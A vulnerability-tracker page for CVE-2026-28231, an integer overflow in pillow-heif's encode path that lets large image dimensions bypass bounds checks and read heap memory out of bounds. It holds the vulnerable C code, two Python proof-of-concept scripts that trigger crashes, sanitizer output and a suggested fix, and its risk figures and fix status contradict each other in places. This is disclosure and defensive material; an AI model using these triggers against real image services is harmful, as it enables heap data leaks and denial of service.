CVE-2026-28231

MEDIUMPre-NVD 0.0Trending — 3 sources updated this week
0.0
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • No confirmed exploitation signals yet
CISA-KEV: Not listedEPSS: 1%CVSS: Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

pillow-heif: Integer Overflow in Encode Path Buffer Validation Leads to Heap Out-of-Bounds Read

Summary

An integer overflow in the encode path buffer validation of _pillow_heif.c allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings.

Details

The buffer validation in _CtxWriteImage_add_plane(), _CtxWriteImage_add_plane_la(), and _CtxWriteImage_add_plane_l() uses 32-bit int multiplication to check whether the input buffer is large enough:

// _pillow_heif.c, lines 158, 344, 449
if (stride_in * height > buffer.len) {
    PyBuffer_Release(&buffer);
    PyErr_SetString(PyExc_ValueError, "image plane does not contain enough data");
    return NULL;
}

Both stride_in and height are declared as int (32-bit signed). When their product exceeds INT_MAX (2,147,483,647), the multiplication overflows before the comparison with buffer.len (which is Py_ssize_t, 64-bit). The overflowed value wraps to zero or a negative number, causing the bounds check to pass incorrectly.

For example, with stride_in = 196608 (65536 × 3 for RGB) and height = 65536:

  • True product: 12,884,901,888
  • int32 product: 0 (wraps around)
  • Comparison: 0 > buffer.lenfalse → check bypassed

After the check is bypassed, the subsequent loop reads beyond the input buffer:

for (int i = 0; i < height; i++)
    memcpy(out + stride_out * i, in + stride_in * i, real_stride);

Additionally, real_stride = width * n_channels (e.g., line 148: real_stride = width * 3) is also computed as int * int, which can independently overflow for large width values.

This vulnerability exists in the encode path, which is distinct from the decode path:

  • The decode path is partially guarded by libheif's built-in security limits
  • The encode path has no such guardsDISABLE_SECURITY_LIMITS is irrelevant
  • The encode path is reachable whenever an application calls pillow_heif.encode() or saves an image via Pillow with format="HEIF" / format="AVIF"

Affected functions (all in _pillow_heif.c):

  • _CtxWriteImage_add_plane() — line 158
  • _CtxWriteImage_add_plane_la() — line 344
  • _CtxWriteImage_add_plane_l() — line 449

CWE: CWE-190 (Integer Overflow or Wraparound) → CWE-125 (Out-of-bounds Read)

PoC

Prerequisites

pip install pillow-heif Pillow

For ASAN confirmation:

# macOS (Apple Clang)
CC="cc -fsanitize=address -fno-omit-frame-pointer -g" pip install --no-binary pillow-heif pillow-heif

Linux (GCC)

CC="gcc -fsanitize=address -fno-omit-frame-pointer -g" pip install --no-binary pillow-heif pillow-heif

Test 1: Crash without ASAN (process killed by SIGSEGV/SIGBUS)

import pillow_heif
from io import BytesIO

width=32768, height=32768 => 1,073,741,824 pixels (within libheif security limit)

stride_in = 32768 * 3 = 98304

98304 * 32768 = 3,221,225,472 > INT_MAX (2,147,483,647)

int32 overflow: wraps to -1,073,741,824

Bounds check: -1,073,741,824 > 1,048,576 → False → BYPASSED

width = 32768 height = 32768 buffer = b"\x00" * (1024 * 1024) # 1 MB (real need: ~3 GB)

buf = BytesIO() try: pillow_heif.encode("RGB", (width, height), buffer, buf, quality=-1) print("[!] encode() succeeded — bounds check was bypassed") except MemoryError as e: print(f"[*] MemoryError (libheif caught it later): {e}") print("[*] int32 overflow occurred — C-level bounds check was bypassed") except ValueError as e: print(f"[-] ValueError (bounds check worked): {e}")

Without ASAN, this crashes the process with exit code 138 (SIGBUS) or 139 (SIGSEGV).

Test 2: Explicit stride — small image, immediate crash

import pillow_heif
from io import BytesIO

100x100 pixels — well within any security limit

stride=INT_MAX (2,147,483,647), height=100

INT_MAX * 100 overflows int32 → small or negative value

Bounds check bypassed, memcpy reads far beyond the 256-byte buffer

width = 100 height = 100 stride_val = 2_147_483_647 small_buffer = b"\x00" * 256

buf = BytesIO() try: pillow_heif.encode("RGB", (width, height), small_buffer, buf, quality=-1, stride=stride_val) print("[!] encode() succeeded — bounds check was bypassed") except ValueError as e: print(f"[-] ValueError (bounds check worked): {e}")

Without ASAN, this crashes with exit code 139 (SIGSEGV).

ASAN confirmation

With an ASAN-enabled build of pillow-heif 1.2.1 on macOS (Apple Clang 17, arm64, Python 3.14), Test 1 produces:

==60070==ERROR: AddressSanitizer: negative-size-param: (size=-1073741824)
    #0 0x... in  (libclang_rt.asan_osx_dynamic.dylib)
    #1 0x... in __asan_memcpy (libclang_rt.asan_osx_dynamic.dylib)
    #2 0x... in _CtxWriteImage_add_plane+0x5bc (_pillow_heif.cpython-314-darwin.so)
    #3 0x... in method_vectorcall_VARARGS (libpython3.14.dylib)
    ...

0x... is located 32 bytes inside of 1048609-byte region [0x...,0x...) allocated by thread T0 here: #0 0x... in malloc (libclang_rt.asan_osx_dynamic.dylib) ...

SUMMARY: AddressSanitizer: negative-size-param (_pillow_heif.cpython-314-darwin.so) in _CtxWriteImage_add_plane+0x5bc

The overflow in stride_in * height (98304 × 32768 = 3,221,225,472) wraps to -1,073,741,824 in 32-bit signed arithmetic. This negative value bypasses the bounds check and is passed directly to memcpy as the size parameter, causing an out-of-bounds read from the 1 MB input buffer.

Impact

Who is impacted: Any application that uses pillow-heif to encode images where the dimensions (width, height) can be influenced by external input. Common scenarios include:

  • Image resize/conversion web APIs (e.g., thumbnail generation, format conversion endpoints)
  • Content management systems that convert uploaded images to HEIF/AVIF
  • Image processing pipelines that accept user-specified output dimensions

Information Disclosure (Heartbleed-like): The out-of-bounds read copies heap memory adjacent to the input buffer into the output image. If the encoded image is returned to the requester, it may contain fragments of:

  • Other users' request data
  • Python objects (strings, byte arrays)
  • Session tokens, API keys, or other sensitive data from the server's heap

Denial of Service: When memcpy reaches unmapped memory pages, the process crashes with SIGSEGV. Repeated exploitation can take down all worker processes (gunicorn, uvicorn, etc.).

Suggested fix: Cast operands to Py_ssize_t before multiplication at all three locations:

// Before (vulnerable):
if (stride_in * height > buffer.len) {

// After (fixed): if ((Py_ssize_t)stride_in * (Py_ssize_t)height > buffer.len) {

Prior art:

  • CVE-2024-5197 (libvpx): integer overflow in vpx_img_alloc(), CVSS 7.5
  • CVE-2024-5171 (libaom): integer overflow in aom_img_alloc(), CVSS 9.8

CVSS v3
EG Score
0.0(none)
EG Risk
0
EG Risk 0/100

EG Risk is EchelonGraph's 0–100 priority score. It fuses intrinsic severity with real-world exploitation and automatability, so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. It is distinct from the 0–10 EG Score, which measures severity.

EPSS
46.6%
KEV
Not listed

Published

July 20, 2026

Last Modified

July 20, 2026

Vendor Advisories for CVE-2026-28231(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(2 across 1 ecosystem)
PyPI(2)
PackageVulnerable rangeFixed inDependents
pi-heif0.10.0 ... 1.2.1 (28 versions)1.3.0
pillow-heif0.1.10 ... 1.2.1 (43 versions)1.3.0

Data Freshness Timeline

(refreshed 9× in last 7d / 9× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-23 14:18 UTCEPSS rescore
  2. 2026-07-23 14:18 UTCEPSS rescore
  3. 2026-07-23 03:08 UTCEG score recompute
  4. 2026-07-22 14:08 UTCEPSS rescore
  5. 2026-07-22 14:08 UTCEPSS rescore
  6. 2026-07-21 15:24 UTCEPSS rescore
  7. 2026-07-21 15:24 UTCEPSS rescore
  8. 2026-07-20 19:32 UTCEG score recompute
  9. 2026-07-20 19:32 UTCOSV refresh

Frequently asked(4)

What is CVE-2026-28231?
CVE-2026-28231 is a medium vulnerability published on July 20, 2026. pillow-heif: Integer Overflow in Encode Path Buffer Validation Leads to Heap Out-of-Bounds Read Summary An integer overflow in the encode path buffer validation of pillowheif.c allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read.…
When was CVE-2026-28231 disclosed?
CVE-2026-28231 was first published in the National Vulnerability Database on July 20, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2026-28231 actively exploited?
CVE-2026-28231 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 46.6% percentile likelihood of exploitation in the next 30 days — higher percentiles indicate greater predicted risk.
How do I remediate CVE-2026-28231?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-28231, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-28231

Explore →

Is Your Infrastructure Affected by CVE-2026-28231?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.